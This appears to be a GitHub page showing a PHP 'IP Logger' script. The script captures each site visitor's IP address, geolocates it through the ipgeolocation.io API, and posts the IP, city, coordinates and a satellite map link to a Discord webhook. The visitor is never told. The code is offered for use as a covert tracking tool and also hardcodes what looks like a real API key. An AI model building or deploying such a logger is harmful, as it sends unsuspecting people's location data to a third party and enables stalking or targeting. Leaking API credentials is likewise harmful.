-
Notifications
You must be signed in to change notification settings - Fork 0
/
jald.txt
179 lines (157 loc) · 5.99 KB
/
jald.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
<?php
// Function to get the visitor's IP address
function getUserIP() {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
$ipArray = explode(',', $ip);
return trim($ipArray[0]);
} else {
return $_SERVER['REMOTE_ADDR'];
}
}
// Function to send data to webhook
function sendToWebhook($webhookURL, $data) {
$options = [
'http' => [
'method' => 'POST',
'header' => 'Content-Type: application/json',
'content' => json_encode($data),
],
];
$context = stream_context_create($options);
$response = @file_get_contents($webhookURL, false, $context);
if ($response === FALSE) {
echo 'Error sending data to webhook: ' . error_get_last()['message'];
return false;
}
return true;
}
// Function to get geolocation data from ipgeolocation.io API using cURL
function getGeolocationData($ip_address, $apiKey) {
$apiURL = "https://api.ipgeolocation.io/ipgeo?apiKey={$apiKey}&ip={$ip_address}";
// Initialize cURL session
$ch = curl_init();
// Set cURL options
curl_setopt($ch, CURLOPT_URL, $apiURL);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Execute cURL session
$json = curl_exec($ch);
// Check for errors
if ($json === false) {
// Handle cURL error
echo 'cURL error: ' . curl_error($ch);
return null;
}
// Close cURL session
curl_close($ch);
// Decode JSON data
$geolocationData = json_decode($json);
// Check if JSON decoding was successful
if ($geolocationData === null && json_last_error() !== JSON_ERROR_NONE) {
// Handle JSON decoding error
echo 'JSON decoding error: ' . json_last_error_msg();
return null;
}
return $geolocationData;
}
// Function to check if IP is already logged and log the IP if not
function checkAndLogIP($ip, $logFile = 'ip_log.txt') {
// Read the file contents into an array
if (file_exists($logFile)) {
$loggedIPs = file($logFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
} else {
$loggedIPs = [];
}
// Check if IP is already in the array
if (in_array($ip, $loggedIPs)) {
return false;
} else {
// Log the new IP
file_put_contents($logFile, $ip . PHP_EOL, FILE_APPEND);
return true;
}
}
// Replace with your actual API key
$apiKey = "b1e9549a924b474bbf04e9d029327694";
// Get the visitor's IP address
$ip_address = getUserIP();
echo "IP Address: $ip_address\n"; // Debugging output
// Check and log the IP address
if (checkAndLogIP($ip_address)) {
// Get geolocation data from ipgeolocation.io API using cURL
$geoData = getGeolocationData($ip_address, $apiKey);
if ($geoData !== null) {
// Prepare the map URL
$mapURL = "https://maps.google.com/maps?q={$geoData->latitude},{$geoData->longitude}&t=k&z=15";
echo "Map URL: $mapURL\n"; // Debugging output
// Prepare the Discord embed payload
$embedData = [
'username' => 'IP Logger',
'avatar_url' => 'https://example.com/avatar.png', // Replace with your avatar URL
'embeds' => [
[
'title' => 'IP Address and Geolocation Data',
'description' => "**IP Address:** {$geoData->ip}\n[Full Geolocation Data](https://ipgeolocation.io/?ip={$geoData->ip})",
'color' => hexdec("FF0000"), // Color code in decimal
'thumbnail' => [
'url' => $geoData->country_flag ?? '', // Country flag URL
],
'fields' => [
[
'name' => 'Continent',
'value' => $geoData->continent_name ?? 'Unknown',
'inline' => true,
],
[
'name' => 'Country',
'value' => "{$geoData->country_name} ({$geoData->country_code2})" ?? 'Unknown',
'inline' => true,
],
[
'name' => 'State/Province',
'value' => $geoData->state_prov ?? 'Unknown',
'inline' => true,
],
[
'name' => 'City',
'value' => $geoData->city ?? 'Unknown',
'inline' => true,
],
[
'name' => 'Latitude',
'value' => $geoData->latitude ?? 'Unknown',
'inline' => true,
],
[
'name' => 'Longitude',
'value' => $geoData->longitude ?? 'Unknown',
'inline' => true,
],
[
'name' => 'Languages',
'value' => $geoData->languages ?? 'Unknown',
'inline' => true,
],
],
'footer' => [
'text' => 'Provided by Kabamjo',
],
'url' => $mapURL, // Add the map URL
],
],
];
// Send the data to the webhook
$webhookURL = "https://discord.com/api/webhooks/YOUR_DISCORD_WEBHOOK_ID/YOUR_DISCORD_WEBHOOK_TOKEN"; // Replace with your actual webhook URL
$result = sendToWebhook($webhookURL, $embedData);
if ($result) {
echo "Data sent to webhook successfully.";
} else {
echo "Failed to send data to webhook.";
}
} else {
echo "Failed to retrieve geolocation data.";
}
} else {
echo "IP Address $ip_address is already logged. Skipping webhook notification.";
}
?>